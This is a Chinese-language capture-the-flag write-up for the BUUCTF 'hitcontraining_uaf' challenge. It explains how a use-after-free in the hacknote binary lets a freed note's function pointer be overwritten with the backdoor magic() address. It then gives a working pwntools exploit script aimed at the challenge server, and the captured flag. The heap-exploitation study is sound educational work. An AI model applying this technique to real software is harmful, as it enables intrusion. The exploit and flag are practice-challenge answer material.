【BUUCTF】hitcontraining_uaf
收获
堆中的 ret2text
利用 UAF 漏洞,两次
free,一次malloc,篡改被释放的堆中的数据为后门函数地址,然后再打印被释放的堆块内容触发后门函数
思路
本地环境:Glibc 2.23
查看保护机制:
尝试运行:
一个经典菜单题,IDA 下分析:
主要漏洞发生在 del_note() 中:
通过 free 释放内存后未置 0,存在 UAF 漏洞
同时存在一个后门函数 magic():
结合 GDB 调试,分析一下 add_note() 函数:
验证一下我们的分析,使用一次 add_note(32, b'aaaa') 后堆结构如下:
第一个堆块我们无法控制,它有两个指针,一个指向 print_note_content() 函数,一个指向 note chunk,我们只能控制第二个堆块 note chunk 的 content
为了方便理解,用图表示出来就是这样:
print_note() 函数用于输出 note chunk 中的 content 内容:
由于存在 UAF 漏洞,于是我们的想法是覆盖
notelist[i][0]的指针,使其指向magic()函数的地址我们再通过
print_note()函数将notelist[i][1]指向的note chunk打印,就会调用notelist[i][0]指向的magic()函数获得 shell
首先,创建两个 note chunk(实际上创建了 4 个堆,因为还有 2 个 notelist 堆):
分别释放它们:
此时如果我们再通过 add_note() 创建 new_note chunk
由于 add_note() 会创建两个堆块,而 fast bin 是后进先出的,会申请到 fastbin[0x10] 中的两个 fast bin,即 0x9f4d038 和 0x9f4d000:
然后我们覆盖 new_note chunk 的第一个内容为后门函数 magic() 的地址:
由于存在 UAF 漏洞,之前 free 掉的 notelist[0] 和 note chunk 0 依然是可以使用的
我们其实相当于将之前 notelist[0][0] 指向 print_note_content() 函数的指针篡改为了指向 magic() 函数的指针
然后调用 print_note() 函数,打印被 free 掉的 note chunk 0 的内容,此时就会执行 notelist[0][0] 处的 magic() 函数,触发后门函数拿到 shell
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF("./hacknote")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./hacknote")
else:
# 远程程序的 IP 和端口号
io = remote("node5.buuoj.cn", 27407)
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
def add_note(size, content):
io.sendlineafter(b'Your choice :', "1")
io.sendlineafter(b'Note size :', str(size))
io.sendlineafter(b'Content :', content)
def del_note(index):
io.sendlineafter(b'Your choice :', "2")
io.sendlineafter(b'Index :', str(index))
def print_note(index):
io.sendlineafter(b'Your choice :', "3")
io.sendlineafter(b'Index :', str(index))
add_note(32, b'aaaa')
add_note(32, b'bbbb')
del_note(0)
del_note(1)
magic_addr = elf.symbols["magic"]
add_note(8, p32(magic_addr))
print_note(0)
# 与远程交互
io.interactive()结果
flag{6e193074-b875-4c2a-bb9d-3828320fa467}

























